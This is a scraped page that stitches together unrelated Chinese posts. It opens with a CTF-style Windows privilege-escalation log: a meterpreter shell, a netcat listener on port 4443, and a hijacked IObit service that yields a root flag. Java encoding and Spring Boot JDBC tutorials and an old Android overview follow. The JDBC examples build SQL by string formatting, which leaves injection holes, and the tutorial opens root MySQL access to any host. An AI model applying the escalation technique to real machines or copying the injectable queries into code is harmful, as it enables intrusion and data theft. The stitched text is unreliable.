040777/rwxrwxrwx 8192 dir 2019-09-26 23:17:42 +0800 Language
040777/rwxrwxrwx 4096 dir 2019-09-26 23:18:19 +0800 LatestNews
040777/rwxrwxrwx 4096 dir 2019-09-26 23:17:45 +0800 LinkImages
100777/rwxrwxrwx 2960672 fil 2016-07-21 00:15:54 +0800 LiveUpdate.exe
100666/rw-rw-rw- 768 fil 2019-09-26 23:17:49 +0800 LiveUpdate.log
100777/rwxrwxrwx 667424 fil 2015-12-29 04:49:32 +0800 LocalLang.exe
100777/rwxrwxrwx 1530656 fil 2016-07-21 00:15:56 +0800 Monitor.exe
100777/rwxrwxrwx 533792 fil 2015-12-29 04:49:38 +0800 MonitorDisk.exe
100777/rwxrwxrwx 2111776 fil 2016-04-30 02:12:52 +0800 MyWin10.exe
100777/rwxrwxrwx 569632 fil 2016-07-23 01:20:00 +0800 Nfeatures.exe
100777/rwxrwxrwx 116000 fil 2015-12-29 04:49:40 +0800 NoteIcon.exe
100666/rw-rw-rw- 48416 fil 2015-12-29 04:49:44 +0800 NtfsData.dll
100666/rw-rw-rw- 784160 fil 2016-07-21 00:16:04 +0800 OFCommon.dll
100777/rwxrwxrwx 918816 fil 2016-07-21 00:16:06 +0800 PPUninstaller.exe
100666/rw-rw-rw- 70432 fil 2015-12-29 04:49:52 +0800 PowerConfig.dll
100666/rw-rw-rw- 629536 fil 2015-12-29 04:49:58 +0800 ProductStatistics.dll
100777/rwxrwxrwx 1044256 fil 2016-07-28 02:24:26 +0800 QuickSettings.exe
100777/rwxrwxrwx 152352 fil 2015-12-29 04:50:18 +0800 ReProcess.exe
100777/rwxrwxrwx 719648 fil 2015-12-29 04:50:02 +0800 RealTimeProtector.exe
100777/rwxrwxrwx 2052896 fil 2016-05-10 04:22:08 +0800 Register.exe
100777/rwxrwxrwx 1094944 fil 2016-07-28 02:24:28 +0800 Reinforce.exe
100666/rw-rw-rw- 1406 fil 2019-09-26 23:18:14 +0800 Reinforce.log
100777/rwxrwxrwx 490272 fil 2016-01-05 05:44:00 +0800 Report.exe
100777/rwxrwxrwx 1723680 fil 2016-07-21 09:07:08 +0800 RescueCenter.exe
100777/rwxrwxrwx 1326504 fil 2015-12-26 03:55:20 +0800 SPInit.exe
100777/rwxrwxrwx 8383688 fil 2016-07-29 01:07:04 +0800 SPSetup.exe
100666/rw-rw-rw- 783136 fil 2015-12-29 04:45:54 +0800 SPUrlScanner.dll
100666/rw-rw-rw- 1293088 fil 2015-12-29 04:50:24 +0800 Scan.dll
100777/rwxrwxrwx 802592 fil 2016-04-27 05:00:24 +0800 ScreenShot.exe
100666/rw-rw-rw- 1024000 fil 2022-10-26 14:03:29 +0800 SecurityHoleScan.log
100777/rwxrwxrwx 1887520 fil 2016-07-21 00:16:18 +0800 SendBugReportNew.exe
100777/rwxrwxrwx 1720096 fil 2016-01-12 04:30:12 +0800 SoftUpdateTip.exe
100666/rw-rw-rw- 202 fil 2019-09-26 23:18:13 +0800 SpeedUp.log
100777/rwxrwxrwx 897824 fil 2015-12-29 04:50:46 +0800 StartupInfo.exe
100777/rwxrwxrwx 2630944 fil 2016-07-28 02:26:32 +0800 Suc11_RegistryCleaner.exe
100777/rwxrwxrwx 1179936 fil 2016-07-21 00:30:20 +0800 Suc12_DiskCleaner.exe
100777/rwxrwxrwx 561440 fil 2016-01-06 09:47:42 +0800 Suo10_SmartRAM.exe
100777/rwxrwxrwx 1767712 fil 2016-07-21 00:30:26 +0800 Suo11_InternetBooster.exe
100777/rwxrwxrwx 4190496 fil 2016-07-21 00:30:28 +0800 Suo12_StartupManager.exe
100777/rwxrwxrwx 1421088 fil 2016-05-07 00:50:38 +0800 Sur13_WinFix.exe
100666/rw-rw-rw- 82720 fil 2015-12-29 04:50:48 +0800 SysRest.dll
100777/rwxrwxrwx 607520 fil 2015-12-29 04:50:50 +0800 TaskHelper.exe
040777/rwxrwxrwx 8192 dir 2019-09-26 23:17:42 +0800 Toolbox_Language
100777/rwxrwxrwx 3360032 fil 2016-04-23 08:40:54 +0800 UninstallPromote.exe
040777/rwxrwxrwx 4096 dir 2019-09-27 16:32:33 +0800 Update
100666/rw-rw-rw- 8386 fil 2016-07-28 05:09:38 +0800 Update History.txt
100777/rwxrwxrwx 1355552 fil 2016-07-22 05:32:12 +0800 Wizard.exe
100666/rw-rw-rw- 1407264 fil 2015-12-29 04:49:04 +0800 cpuidsdk.dll
100666/rw-rw-rw- 72992 fil 2015-12-29 04:49:06 +0800 datastate.dll
100777/rwxrwxrwx 242464 fil 2015-12-29 04:49:08 +0800 delayLoad.exe
040777/rwxrwxrwx 4096 dir 2019-09-26 23:17:45 +0800 drivers
100666/rw-rw-rw- 5430 fil 2011-02-10 07:46:46 +0800 fav.ico
100666/rw-rw-rw- 190240 fil 2015-12-24 09:32:36 +0800 madbasic_.bpl
100666/rw-rw-rw- 57632 fil 2015-12-24 09:32:38 +0800 maddisAsm_.bpl
100666/rw-rw-rw- 355616 fil 2015-12-24 09:32:40 +0800 madexcept_.bpl
100777/rwxrwxrwx 1436448 fil 2015-12-29 04:50:10 +0800 repair task.exe
100666/rw-rw-rw- 1108256 fil 2015-12-24 09:32:44 +0800 rtl120.bpl
100666/rw-rw-rw- 227104 fil 2015-12-29 04:50:30 +0800 sdcore.dll
100666/rw-rw-rw- 117536 fil 2015-12-29 04:50:32 +0800 sdlib.dll
040777/rwxrwxrwx 0 dir 2019-09-26 23:17:45 +0800 skin
100777/rwxrwxrwx 623904 fil 2016-07-26 01:01:12 +0800 smBootTime.exe
100666/rw-rw-rw- 694192 fil 2015-12-29 04:50:44 +0800 sqlite3.dll
100666/rw-rw-rw- 338720 fil 2015-12-29 04:50:52 +0800 taskmgr.dll
100666/rw-rw-rw- 119304 fil 2019-09-26 23:17:45 +0800 unins000.dat
100777/rwxrwxrwx 1208608 fil 2019-09-26 23:17:36 +0800 unins000.exe
100666/rw-rw-rw- 22701 fil 2019-09-26 23:17:45 +0800 unins000.msg
100666/rw-rw-rw- 2008864 fil 2015-12-24 09:32:46 +0800 vcl120.bpl
100666/rw-rw-rw- 222496 fil 2015-12-24 09:32:48 +0800 vclx120.bpl
100666/rw-rw-rw- 899872 fil 2015-12-29 04:50:58 +0800 webres.dll
100666/rw-rw-rw- 580 fil 2015-10-11 05:33:18 +0800 winid.dat
meterpreter > shell
Process 2712 created.
Channel 8 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\IObit>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
[SC] StartService FAILED 1056:
An instance of the service is already running.
C:\Program Files (x86)\IObit>sc stop AdvancedSystemCareService9
sc stop AdvancedSystemCareService9
SERVICE_NAME: AdvancedSystemCareService9
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
我们先建立监听nc -lnvp 4443然后再进行启动操作C:\Program Files (x86)\IObit>sc start AdvancedSystemCareService9
sc start AdvancedSystemCareService9
SERVICE_NAME: AdvancedSystemCareService9
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2384
FLAGS :
然后我们就可以得到root权限了C:\Users\Administrator\Desktop>type root.txt
type root.txt
9af5f314f57607c00fd09803a587db80
Java流处理之转换编码的转换流
之前的博客梳理了基本的字节流和字符流:Java字节流和字符流详解,本文主要讲基于基础的字节字符流做转换编码的转换流。♂️字符编码和字符集字符编码计算机中储存的信息都是用二进制数表示的,而我们在屏幕上看到的数字、英文、标点符号、汉字等字符是二进制数转换之后的结果。按照某种规则,将字符存储到计算机中,称为编码 。反之,将存储在计算机中的二进制数按照某种规则解析显示出来,称为解码 。比如说,按照A规则存储,同样按照A规则解析,那么就能显示正确的文本符号。反之,按照A规则存储,再按照B规则解析,就会导致乱码现象。编码:字符(能看懂的)--字节(看不懂的)解码:字节(看不懂的)-->字符(能看懂的)字符编码**Character Encoding** : 就是一套自然语言的字符与二进制数之间的对应规则。编码表:生活中文字和计算机中二进制的对应规则♀️字符集字符集 **Charset**:也叫编码表。是一个系统支持的所有字符的集合,包括各国家文字、标点符号、图形符号、数字等。计算机要准确的存储和识别各种字符集符号,需要进行字符编码,一套字符集必然至少有一套字符编码。常见字符集有ASCII字符集、GBK字符集、Unicode字符集等。可见,当指定了编码,它所对应的字符集自然就指定了,所以编码才是我们最终要关心的。ASCII字符集 :ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,用于显示现代英语,主要包括控制字符(回车键、退格、换行键等)和可显示字符(英文大小写字符、阿拉伯数字和西文符号)。基本的ASCII字符集,使用7位(bits)表示一个字符,共128字符。ASCII的扩展字符集使用8位(bits)表示一个字符,共256字符,方便支持欧洲常用字符。ISO-8859-1字符集:拉丁码表,别名Latin-1,用于显示欧洲使用的语言,包括荷兰、丹麦、德语、意大利语、西班牙语等。ISO-8859-1使用单字节编码,兼容ASCII编码。GBxxx字符集:GB就是国标的意思,是为了显示中文而设计的一套字符集。GB2312:简体中文码表。一个小于127的字符的意义与原来相同。但两个大于127的字符连在一起时,就表示一个汉字,这样大约可以组合了包含7000多个简体汉字,此外数学符号、罗马希腊的字母、日文的假名们都编进去了,连在ASCII里本来就有的数字、标点、字母都统统重新编了两个字节长的编码,这就是常说的"全角"字符,而原来在127号以下的那些就叫"半角"字符了。GBK:最常用的中文码表。是在GB2312标准基础上的扩展规范,使用了双字节编码方案,共收录了21003个汉字,完全兼容GB2312标准,同时支持繁体汉字以及日韩汉字等。GB18030:最新的中文码表。收录汉字70244个,采用多字节编码,每个字可以由1个、2个或4个字节组成。支持中国国内少数民族的文字,同时支持繁体汉字以及日韩汉字等。Unicode字符集 :Unicode编码系统为表达任意语言的任意字符而设计,是业界的一种标准,也称为统一码、标准万国码。它最多使用4个字节的数字来表达每个字母、符号,或者文字。有三种编码方案,UTF-8、UTF-16和UTF-32。最为常用的UTF-8编码。UTF-8编码,可以用来表示Unicode标准中任何字符,它是电子邮件、网页及其他存储或传送文字的应用中,优先采用的编码。互联网工程工作小组(IETF)要求所有互联网协议都必须支持UTF-8编码。所以,我们开发Web应用,也要使用UTF-8编码。它使用一至四个字节为每个字符编码,编码规则:128个US-ASCII字符,只需一个字节编码。拉丁文等字符,需要二个字节编码。大部分常用字(含中文),使用三个字节编码。其他极少使用的Unicode辅助字符,使用四字节编码。⛹编码引出的问题在IDEA中,使用FileReader 读取项目中的文本文件。由于IDEA的设置,都是默认的UTF-8编码,所以没有任何问题。但是,当读取Windows系统中创建的文本文件时,由于Windows系统的默认是GBK编码,就会出现乱码。public class ReaderDemo {
public static void main(String[] args) throws IOException {
FileReader fileReader = new FileReader("E:\\File_GBK.txt");
int read;
while ((read = fileReader.read()) != -1) {
System.out.print((char)read);
}
fileReader.close();
}
}
输出结果:
���那么如何读取GBK编码的文件呢?InputStreamReader类转换流java.io.InputStreamReader,是Reader的子类,是从字节流到字符流的桥梁。它读取字节,并使用指定的字符集将其解码为字符。它的字符集可以由名称指定,也可以接受平台的默认字符集。构造方法InputStreamReader(InputStream in): 创建一个使用默认字符集的字符流。InputStreamReader(InputStream in, String charsetName): 创建一个指定字符集的字符流。构造举例,代码如下:InputStreamReader isr = new InputStreamReader(new FileInputStream("in.txt"));
InputStreamReader isr2 = new InputStreamReader(new FileInputStream("in.txt") , "GBK");指定编码读取public class ReaderDemo2 {
public static void main(String[] args) throws IOException {
// 定义文件路径,文件为gbk编码
String FileName = "E:\\file_gbk.txt";
// 创建流对象,默认UTF8编码
InputStreamReader isr = new InputStreamReader(new FileInputStream(FileName));
// 创建流对象,指定GBK编码
InputStreamReader isr2 = new InputStreamReader(new FileInputStream(FileName) , "GBK");
// 定义变量,保存字符
int read;
// 使用默认编码字符流读取,乱码
while ((read = isr.read()) != -1) {
System.out.print((char)read); // ��Һ�
}
isr.close();
// 使用指定编码字符流读取,正常解析
while ((read = isr2.read()) != -1) {
System.out.print((char)read);// 大家好
}
isr2.close();
}
}OutputStreamWriter类转换流java.io.OutputStreamWriter ,是Writer的子类,是从字符流到字节流的桥梁。使用指定的字符集将字符编码为字节。它的字符集可以由名称指定,也可以接受平台的默认字符集。构造方法OutputStreamWriter(OutputStream in): 创建一个使用默认字符集的字符流。OutputStreamWriter(OutputStream in, String charsetName): 创建一个指定字符集的字符流。构造举例,代码如下:OutputStreamWriter isr = new OutputStreamWriter(new FileOutputStream("out.txt"));
OutputStreamWriter isr2 = new OutputStreamWriter(new FileOutputStream("out.txt") , "GBK");指定编码写出public class OutputDemo {
public static void main(String[] args) throws IOException {
// 定义文件路径
String FileName = "E:\\out.txt";
// 创建流对象,默认UTF8编码
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(FileName));
// 写出数据
osw.write("你好"); // 保存为6个字节
osw.close();
// 定义文件路径
String FileName2 = "E:\\out2.txt";
// 创建流对象,指定GBK编码
OutputStreamWriter osw2 = new OutputStreamWriter(new FileOutputStream(FileName2),"GBK");
// 写出数据
osw2.write("你好");// 保存为4个字节
osw2.close();
}
}♂️转换流理解图解转换流是字节与字符间的桥梁!⛷️转换文件编码案例将GBK编码的文本文件,转换为UTF-8编码的文本文件。♂️案例分析指定GBK编码的转换流,读取文本文件。使用UTF-8编码的转换流,写出文本文件。♂️案例实现public class TransDemo {
public static void main(String[] args) {
// 1.定义文件路径
String srcFile = "file_gbk.txt";
String destFile = "file_utf8.txt";
// 2.创建流对象
// 2.1 转换输入流,指定GBK编码
InputStreamReader isr = new InputStreamReader(new FileInputStream(srcFile) , "GBK");
// 2.2 转换输出流,默认utf8编码
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(destFile));
// 3.读写数据
// 3.1 定义数组
char[] cbuf = new char[1024];
// 3.2 定义长度
int len;
// 3.3 循环读取
while ((len = isr.read(cbuf))!=-1) {
// 循环写出
osw.write(cbuf,0,len);
}
// 4.释放资源
osw.close();
isr.close();
}
}
深入浅出 Spring Boot - 数据访问之JDBC
代码下载:https://github.com/Jackson0714/study-spring-boot.git学而不思则罔一、JDBC是什么?JDBC API 属于Java APIJDBC用于以下几种功能:连接到数据库、执行SQL语句二、Spring Boot中如何使用JDBC2.1 创建 Spring Boot Project 时引入 JDBC API 依赖和 MySQL Driver依赖可以在POM中找到引入的JDBC依赖和mysql依赖:JDBC 依赖:<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>MySql 驱动依赖:<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<scope>runtime</scope>
</dependency>2.2 配置数据库连接新增配置文件:src/main/resources/application.ymlspring:
datasource:
username: root
password: root
url: jdbc:mysql://localhost:3306/study-spring-boot?serverTimezone=UTC&useUnicode=true&zeroDateTimeBehavior=convertToNull&autoReconnect=true&characterEncoding=utf-8
driverClassName: com.mysql.cj.jdbc.Driver注意:com.mysq.jdbc.Driver 被废弃了,需要使用com.mysql.cj.jdbc.Driver2.3 查看使用的数据源和数据库连接package com.jackson0714.springboot;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.SQLException;
@SpringBootTest
class Springboot05DataJdbcApplicationTests {
@Autowired
DataSource dataSource; //自动配置数据源,使用yml配置
@Test
void contextLoads() throws SQLException {
System.out.println("数据源:" + dataSource.getClass());
Connection connection = dataSource.getConnection();
System.out.println("数据库连接:" + connection);
connection.close();
}
}
默认数据源:class com.zaxxer.hikari.HikariDataSource数据库连接:HikariProxyConnection@1335157064 wrapping com.mysql.cj.jdbc.ConnectionImpl@7ff8a9dc三、自动配置原理自动配置文件路径:org.springframework.boot.autoconfigure.jdbcDataSourceConfiguration用来自动导入数据源(根据各种判断)/**
* Tomcat Pool DataSource configuration.
*/
@Configuration(proxyBeanMethods = false)
@ConditionalOnClass(org.apache.tomcat.jdbc.pool.DataSource.class)
@ConditionalOnMissingBean(DataSource.class)
@ConditionalOnProperty(name = "spring.datasource.type", havingValue = "org.apache.tomcat.jdbc.pool.DataSource",
matchIfMissing = true)
static class Tomcat {
@Bean
@ConfigurationProperties(prefix = "spring.datasource.tomcat")3.1 自动选择数据源如果导入了org.apache.tomcat.jdbc.pool.DataSource数据源,并且配置的spring.datasource.type配置的是org.apache.tomcat.jdbc.pool.DataSource,如果没配置type则使用tomcat数据源3.2 HikariDataSource数据源也类似这样判断。3.3 默认使用tomcat数据源3.4 默认支持以下数据源org.apache.tomcat.jdbc.pool、HikariDataSource、org.apache.commons.dbcp23.5 支持自定义数据源使用DataSourceBuilder创建数据源,利用反射创建响应type的数据源,并且绑定相关属性 /**
* Generic DataSource configuration.
*/
@Configuration(proxyBeanMethods = false)
@ConditionalOnMissingBean(DataSource.class)
@ConditionalOnProperty(name = "spring.datasource.type")
static class Generic {
@Bean
DataSource dataSource(DataSourceProperties properties) {
//使用DataSourceBuilder创建数据源,利用反射创建响应type的数据源,并且绑定相关属性
return properties.initializeDataSourceBuilder().build();
}
}3.6 DataSourceInitializerInvoker 运行脚本/**
* Bean to handle {@link DataSource} initialization by running {@literal schema-*.sql} on
* {@link InitializingBean#afterPropertiesSet()} and {@literal data-*.sql} SQL scripts on
* a {@link DataSourceSchemaCreatedEvent}.
*
* @author Stephane Nicoll
* @see DataSourceAutoConfiguration
*/
class DataSourceInitializerInvoker implements ApplicationListener<DataSourceSchemaCreatedEvent>, InitializingBean {createSchema() 创建表 (文件名规则 schema-*.sql)
initSchema() 执行数据脚本 (文件名规则 data-*.sql)getScripts() 来获取需要执行的脚本private List<Resource> getScripts(String propertyName, List<String> resources, String fallback) {
if (resources != null) {
return getResources(propertyName, resources, true);
}
String platform = this.properties.getPlatform();
List<String> fallbackResources = new ArrayList<>();
fallbackResources.add("classpath*:" + fallback + "-" + platform + ".sql");
fallbackResources.add("classpath*:" + fallback + ".sql");
return getResources(propertyName, fallbackResources, false);
}1) fallback = "schema", platform="all",会自动执行根目录下:schema-all.sql 或schema.sql 文件2) fallback = "data", platform="all",会自动执行根目录下:data-all.sql 或data.sql 文件isEnabled() 方法判断是否开启了自动执行脚本有三种模式:NEVER,EMBEDDED(默认),Always疑问:用EMBEDDED模式返回false,开关关闭,不执行脚本,这是为啥呢?用Always模式则每次启动spring boot重复执行脚本(创建表脚本都是先判断有没有表,有则删除后重建)private boolean isEnabled() {
DataSourceInitializationMode mode = this.properties.getInitializationMode();
if (mode == DataSourceInitializationMode.NEVER) {
return false;
}
if (mode == DataSourceInitializationMode.EMBEDDED && !isEmbedded()) {
return false;
}
return true;
}3.7 通过配置文件指定需要执行脚本schema:
- classpath:department.sql创建出的 department 表四、JdbcTemplateJdbcTemplateAutoConfiguration.java 文件 自动注入了JdbcTemplate。(JdbcTemplate用来操作数据库)@Configuration(proxyBeanMethods = false)
@ConditionalOnClass({ DataSource.class, JdbcTemplate.class })
@ConditionalOnSingleCandidate(DataSource.class)
@AutoConfigureAfter(DataSourceAutoConfiguration.class)
@EnableConfigurationProperties(JdbcProperties.class)
@Import({ JdbcTemplateConfiguration.class, NamedParameterJdbcTemplateConfiguration.class })
public class JdbcTemplateAutoConfiguration {
}我们用Swagger的方式来测试五、配置Swagger用来测试5.1 pom.xml文件 添加swagger依赖<!-- swagger -->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.9.2</version>
</dependency>
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger-ui</artifactId>
<version>2.9.2</version>
</dependency>5.2 添加SwaggerConfig.java文件package com.jackson0714.springboot.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import springfox.documentation.builders.ApiInfoBuilder;
import springfox.documentation.builders.PathSelectors;
import springfox.documentation.builders.RequestHandlerSelectors;
import springfox.documentation.service.ApiInfo;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spring.web.plugins.Docket;
import springfox.documentation.swagger2.annotations.EnableSwagger2;
@Configuration
@EnableSwagger2
public class SwaggerConfig {
@Bean
public Docket createRestApi(){
return new Docket(DocumentationType.SWAGGER_2).apiInfo(apiInfo())
.select()
.apis(RequestHandlerSelectors.any())
.paths(PathSelectors.any()).build();
}
private ApiInfo apiInfo(){
return new ApiInfoBuilder()
.title("玩转Spring Boot 接口文档")
.description("This is a restful api document of Spring Boot.")
.version("1.0")
.build();
}
}5.3 访问Swagger文档http://localhost:8081/swagger-ui.html六、测试6.1 新增部门@ApiOperation(value = "1.新增部门")
@ApiImplicitParams({
@ApiImplicitParam(name = "name", value = "部门名称")
})
@PostMapping("/create")
public int createDepartment(@RequestParam String name) {
String sql = String.format("insert into department(departmentName) value('%s')", name);
int result = jdbcTemplate.update(sql);
return result;
}表记录[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vSXwzVym-1652094311265)(..\images\spring-boot-05-data-jdbc\create_table.png)]6.2 查询所有部门@ApiOperation(value = "2.查询所有部门")
@GetMapping("/getAllDepartment")
public List<Map<String, Object>> getAllDepartment() {
List<Map<String, Object>> list = jdbcTemplate.queryForList("select * from department");
return list;
}6.3 根据id查询某个部门@ApiOperation(value = "3.根据id查询某个部门")
@ApiImplicitParams({
@ApiImplicitParam(name = "id", value = "需要查询的部门id")
})
@GetMapping("/{id}")
public Map<String, Object> getDepartmentById(@PathVariable Long id) {
String sql = "select * from department where id = " + id;
List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
return list.get(0);
}6.4 根据id更新部门名称@ApiOperation(value = "根据id更新部门名称")
@ApiImplicitParams({
@ApiImplicitParam(name = "id", value = "需要更新的部门id"),
@ApiImplicitParam(name = "name", value = "需要更新的部门名称")
})
@PostMapping("/update")
public int updateDepartmentById(@RequestParam Long id, @RequestParam String name) {
String sql = String.format("update department set departmentName = '%s' where id = %d", name, id);
int result = jdbcTemplate.update(sql);
return result;
}6.5 根据id删除部门@ApiOperation(value = "根据id删除部门")
@ApiImplicitParams({
@ApiImplicitParam(name = "id", value = "需要删除的部门id")
})
@PostMapping("/delete")
public int deleteDepartment(@RequestParam Long id) {
String sql = String.format("delete from department where id = %d", id);
int result = jdbcTemplate.update(sql);
return result;
}报错:问题1java.sql.SQLException:null, message from server: "Host 'Siri' is not allowed to connect to this MySQL server"解决方案:执行命令:use mysql;
select host from user;
update user set host = '%' where user = 'root'执行结果:Query OK, 1 row affected如下图所示:问题2Caused by: com.mysql.cj.exceptions.InvalidConnectionAttributeException: The server time zone value '�й���ʱ��' is unrecognized or represents more than one time zone. You must configure either the server or JDBC driver (via the 'serverTimezone' configuration property) to use a more specifc time zone value if you want to utilize time zone support.解决方案:配置spring.datasource.url 时,增加参数:serverTimezone=UTC
Android开发笔记第二篇(Android 手机概念)
本文来自安卓巴士开发网
Android 手机新概念
操作系统的选择--定制和长尾
� 重构
� MVC 和 Web APP 架构
Android 开发背景
� 计算技术、无线接入技术的发展,使嵌入式系统逐渐有能力对桌面系统常规业务进行支持。
� 谷歌长期以来奉行的移动发展战略:通过与全球各地的手机制造商和移动运营商结成合作伙伴,开发既
有用又有吸引力的移动服务,并推广这些产品。Android 进一步推进了"随时随地为每个人提供信息"这一企业
目标的实现。
� Open Handset Alliance 汇集了多家业界巨头。运营商如:China Mobile、NTT DoCoMo、Vodafone、T-Mobile
等;设备制造商如 ASUS、HTC、Huawei、LG、Motorola、Samsung、Sony Ericsson、Toshiba 等;芯片厂商
如 ARM、Broadcom、Intel、Marvell、NVIDIA、Qualcomm 等。软件厂商如 Ascender、eBay、Esmertec、LivingImage
等。
� Android 更像一款桌面环境为 Java 的 Linux 操作系统。有助于 Google 实现其"随时随地为每个人提供信
息"的企业战略。
HTC Dream/G1 具体配置
硬件
3.17 英寸 HVGA (480 x 320) ;1150mAh 电池 ;高通 528Mhz 7201 处理器 ;64MB RAM、128MB ROM ;1GB
MicroSD 卡 ;QWERTY 全键盘;310 万像素摄像头。
流媒体
支持视频格式:H.264、流媒体、3GPP、MPEG4 和 Codec 3GP ;支持音频格式:MP3、AAC、AAC+、WMA、
MPEG4、WAV、MIDI、REAL、AUDIO 和 OGG;支持墙纸格式:JPG、BMP、PNG 和 GIF ;铃声(MP3、
AAC、AAC+和 WMA)。
接入技术
蓝牙(class 1) ;四频(850,900,1800,1900);支持 3G,802.11b 和 802.11g。
互联网
支持 HTTP、WAP Push 和 xHTML;支持 POP、IMAP、SMTP,以及 AOL 和 GMAIL 电子邮件服务;支持 AIM、
MSN、雅虎通和 GTALK;与谷歌日历同步;与 Android Market 联机;支持谷歌“街景”服务;包装盒内附
数据工具包。
更多信息https://sites.google.com/a/andro ... ce/release-features
Android 盈利模式
Android 的 App Market 模式,软件开发者获得 7 成收入,3 成用于系统维护。难点在于位置营销。
设备商通过卖设备、内置特色应用来获得盈利。也可以兼职专业软件开发者进行赢利。
Google 自身通过基于统一平台为用户提供信息来盈利。
Android 的优势
� 源代码完全开放,便于开发人员更清楚的把握实现细节,便于提高开发人员的技术水平,有利于开发出
更具差异性的应用。
� 采用了对有限内存、电池和 CPU 优化过的虚拟机 Dalvik,Android 的运行速度比想象的要快很多。
� 运营商(中国移动等)的大力支持,产业链条的热捧。
� 良好的盈利模式(3/7 开),产业链条的各方:运营商、制造商、独立软件生产商都可以获得不错的利益 。
将移动终端的评价标准从硬件向软件转变,极大的激发了软件开发者的热情。
� Android 的源代码遵循 Apache V2 软件许可,而不是通常的 GPL v2 许可。有利于商业开发。
� 具有强大的 Linux 社区的支持。
Android 的不足
� 由于采用了 Java 作为应用开发语言,目前可用的传统第三方应用还很少,但由于 Android 是一款完全开
源的移动计算平台,相信第三方应用会很快的丰富起来。
� Google 提供了一套 Java 核心包(J2SE 5,J2SE 6)的有限子集,尚不承诺遵守 Java 任何 Java 规范,可能会造
成Java 阵营的进一步分裂。
� 现有应用完善度不太够,需要的开发工作量较大。
� 基于 QEMU 开发的模拟器调试手段不十分丰富,只支持通话、SMS等,速度慢。
� 暂不具备 Push Mail 和 Office(DataViz、 QuickOffice 计划近期推出)功能,目前主要面向的是普通消费者
用户,对商业用户支持尚弱。
Android 带来的影响
ANDROID 的推出后可能影响的产业包括移动电信业,软件开发业,手机制造业,在以消费者为核心的状态 。
对消费者的影响
� 高档手机选择面增加。
� Android 在设计初期就考虑了与现其有业务的融合,改变以往从计算机为主改成从手机使用为导向。新
生应用如:Google 地图及其衍生应用、GMail、GTalk 等。
� GPS 卫星导航功能,手机照相,MP3,蓝芽等均被列为 Android 所提供支持的基本选项。
� Android 的平台基本上是免费的,虽然有部份原生链接库会要求费用,但大部份是免权利金;Android 的
程序可以采用 JAVA 开发,但是因为它的虚拟机(Virtual Machine) Dalvik,是将 JAVA 的 bytecode 转成自
己的格式,回避掉需要付给 SUN 有关 JAVA 的授权费用。
对手机制造者的影响
� Android 是款开源的移动计算软件平台,组建了 google 主导的拥有众多产业界巨头的产业联盟,有利于
高效开发、降低成本。
� 由于是源代码开放的产品,对非主导厂商而言,可以避开与主导厂商在核心技术上面的差距,开发出更
具竞争力和差异化的产品。
对运营商的影响
� 丰富的数据业务,将导致数据流量的显著增加 。
� 手机来源增加,价格更为低廉。
对软件开发者的影响(本文来自安卓巴士开发网)
� 因为 Android 移动软件平台抱持开放互通的观念,势必吸引不少自由软件的拥护者。
� 开发方向有三个重点:
应用软件的开发
特殊功能的原生链接库
专属应用程序框架
� 由于 Android 的App Market 性质,可能催生出专门的应用软件开发商。
Android 应用现状
� 设备商:lenovo、琦基、戴尔、三星、摩托罗拉、华为、英特尔、Kogan、索爱、华硕、多普达、爱可视 、
Archos 等。
� 制造商:HTC、Telstra 等。
� 手机设计公司:播思、德信无线等。
� 运营商:中国移动、Sprint、T-Mobile、Teleca AB 等。
� 芯片商:Qualcomm、Marvell、TI、Boardcom 等。
本文原帖地址:http://www.apkbus.com/forum.php?mod=viewthread&tid=13305
本文转自qianqianlianmeng博客园博客,原文链接:http://www.cnblogs.com/aimeng/archive/2011/08/30/2159148.html,如需转载请自行联系原作者
蓝色缎带--使用CSS制作标题栏示例
The secret of greatness is simple: do better work than any other man in your field - and keep on doing it.
导航
BlogJava
首页
新随笔
联系
聚合
管理
2009年8月
>
日
一
二
三
四
五
六
26
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1
2
3
4
5
统计
随笔 - 370
文章 - 1
评论 - 149
引用 - 0
公告
何杨,78年生人,00年毕业于同济大学,02年正式进入IT行业,先后就职于国企,民企,外企,现供职于IBM Dalian GDC。
一向以程序员自居,坚持走技术路线,欣赏螺丝壳里做道场的钻研态度;坚持认为知识是智慧之源,相信知识能改变命运;相信决定论,唾弃一神论和不可知论。
虽时运不济,但相信己才终有一天能得以发挥,为这一条早日到来我正在进行积极准备。
常用链接
我的随笔
我的文章
我的评论
我的参与
最新评论
留言簿(10)
给我留言
查看公开留言
查看私人留言
随笔分类
DB2(1) (rss)
GUI(14) (rss)
HTML/CSS(7) (rss)
Jacob(4) (rss)
JavaScript/DHTML(15) (rss)
NETWORK(7) (rss)
Oracle(8) (rss)
SECURITY(4) (rss)
SOA(6) (rss)
Spring(1) (rss)
TeamBiz(15) (rss)
Teambiz2(6) (rss)
TIPS(36) (rss)
